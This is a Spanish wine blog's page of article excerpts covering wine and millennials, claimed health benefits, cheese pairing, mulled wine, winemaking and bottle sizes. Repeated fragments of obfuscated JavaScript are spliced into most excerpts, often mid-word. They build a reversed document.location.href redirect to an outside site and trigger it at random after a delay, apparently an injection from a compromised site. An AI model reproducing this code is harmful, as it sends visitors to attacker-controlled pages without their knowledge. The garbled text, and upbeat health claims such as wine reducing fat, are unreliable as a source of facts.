Vinos


Vino y millennials: ¿Relación imposible?

Si mirando el móvil y ves que alguien ha subido una fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomando un vino a una red social, buscas la marca del vino, entras a su tienda online, lees un poco, buscas opiniones y compras… eres un […]


4 cosas que debes saber del vino

Agilidad mental 70 estudios científicos demuestran que el consumo leve o moderado de vino mejora la agilidad mental y la función cognitiva. Parece que a tu cerebro le va mejor beber vino que no hacerlo. Además, un estudio de la Academia Sueca Sahlgrenska demostraba que ingerir vino en pequeñas dosis […]


El vino y el queso

Un estudio publicado en la revista Journal of Food Science ha demostrado que el placer de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomar vino aumenta cuando se come con queso. El estudio se realizó en el Centro para el Sabor y Comportamientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Alimentario de […]


¿Por qué llora el vino?

Es probable que muchas veces hayas observado como se desliza el líquido sobre la superficie de la copa de vino. Ese efectoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to que el vino produce resbalando en la copa es muy parecido a una lágrima al caer por la mejilla, por eso que ha […]


Vino caliente

El vino caliente  o especiado es un antigua receta que tiene su origen en la antigua Roma, cuenta la histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria que se lo daban a sus legionarios para fortalecerlos en los fríos inviernos. Hoy en día es una tradición consumirlo en gran parte de […]


¿Por qué los vinos blancos se beben fríos?

Eso de que los vinos blancos hay que toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomarlos fríos, o por lo menos más que los vinos tintoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos, es algo que ya muchos conocemos aunque no seamos entendidos en vino. El caso es, ¿Sabes el por qué? […]


Beneficios del vino

Existen muchos beneficios que nos proporciona el consumo de vino, pero deberías conocer estoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos cuatro: Reduce la grasa El consumo de vino impide la formación de nuevas células de grasa y ayuda a movilizar las existentes. según han demostrado los científicos del Institutoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); […]


Vinificación

Por vinificación se entiende como el conjuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de tareas o acciones destinadas a transformar la uva en vino. Este proceso tiene como factoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor determinante la fermentación, ya que sin esta no se produciría vino. La figura clave en […]


Botellas de vino, el tamaño si importa

Ya sabemos que la botella de vidrio cumple una finalidad muy importante en la evolución del vino, pero también debemos saber que su capacidad  también influye en el proceso evolutivo, las botellas con mayor capacidad favorecen una mayor durabilidad al vino que contienen. El tamaño considerado estándar es el de 75 cl., quizás […]


El vino rosado, fuera complejos

El vino rosado ha gozado de una fama que para nada le ha hecho justicia, antiguamente se elaboraban lo que se conoce como claretes, donde se mezclaban las uvas blancas con las tintas, y el resultado era un vino con poco color y un sabor nada destacable. Poco a poco se está […]